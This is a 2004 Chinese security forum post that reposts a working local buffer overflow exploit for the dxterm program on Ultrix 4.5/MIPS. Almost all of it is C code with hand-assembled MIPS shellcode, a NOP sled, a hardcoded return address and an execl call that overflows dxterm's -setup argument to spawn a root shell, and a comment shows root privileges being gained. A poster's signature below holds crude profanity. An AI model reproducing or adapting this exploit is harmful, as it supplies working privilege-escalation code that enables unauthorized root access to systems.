‹‹ 上一主题 | 下一主题 ››
发新话题
打印

Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9869 
精华
771 
积分
40986 
阅读权限
200 
性别
男 
在线时间
3986 小时 
注册时间
2004-7-4 
最后登录
2008-12-3 
楼主 大 中 小 发表于 2004-12-21 13:16  只看该作者

Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit

文章作者：ztion
复制内容到剪贴板
代码:
/* Ultrix 4.5/MIPS dxterm exploit
  by ztion in 2004
  Greets to: Stok, sidez

  It wasn't possible to use '/' in the shellcode. Probably dxterm only
  copies everything after the last slash, as it expects a path.
  Since everything is pretty much hardcoded, you will probably have to
  tweak it for versions other than 4.5

  nora> ./ultrix_dxterm_4.5_exploit
  $ id
  uid=268(ztion) gid=15(users)euid=0(root)
*/

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
    0x69,0x6e,0x19,0x3c,    /* lui     $t9, 0x6e69 */
    0x2e,0x61,0x39,0x37,    /* ori     $t9, $t9, 0x612e */
    0x38,0x01,0xb6,0x23,    /* addi     $s6, $sp, 312 */
    0x01,0x01,0x39,0x23,    /* addi     $t9, $t9, 0x0101 */
    0xf0,0xfe,0xd9,0xae,    /* sw     $t9, -272($s6) */
    0x73,0x68,0x19,0x3c,    /* lui     $t9, 0x6873 */
    0x11,0x11,0x06,0x24,    /* li     $a2, 0x1111 */
    0x11,0x11,0xc6,0x38,    /* xori     $a2, $a2, 0x1111 */
    0x2e,0x2e,0x39,0x37,    /* ori     $t9, $t9, 0x2e2e */
    0xf0,0xfe,0xc4,0x26,    /* addiu $a0, $s6, -272 */
    0x01,0x01,0x39,0x23,    /* addi     $t9, $t9, 0x0101 */
    0x3f,0x01,0x02,0x24,    /* li     $v0, 319 */
    0xfc,0xfe,0x42,0x20,    /* addi     $v0, $v0, -260 */
    0xf4,0xfe,0xd9,0xae,    /* sw     $t9, -268($s6) */
    0xe8,0xfe,0xc4,0xae,    /* sw     $a0, -280($s6) */
    0xf8,0xfe,0xc6,0xae,    /* sw     $a2, -264($s6) */
    0xec,0xfe,0xc6,0xae,    /* sw     $a2, -276($s6) */
    0xe8,0xfe,0xc5,0x26,    /* addiu $a1, $s6, -280 */
    0xcc,0xff,0xff,0x01    /* syscall */

};

int main(void)
{
    char buf[256];
    int i;


    memset (buf, 2, 255);
    i = 0;
    while (i <= 8) {
        ((int *)(buf+1))[i] = NOP;
        i++;
    }

    memcpy (buf+33, shellcode, sizeof(shellcode));

    ((int *)(buf+3))[29] = RET;
    /* 119 - 122 is the return address */
    buf[123] = &#39;\0&#39;;

    execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题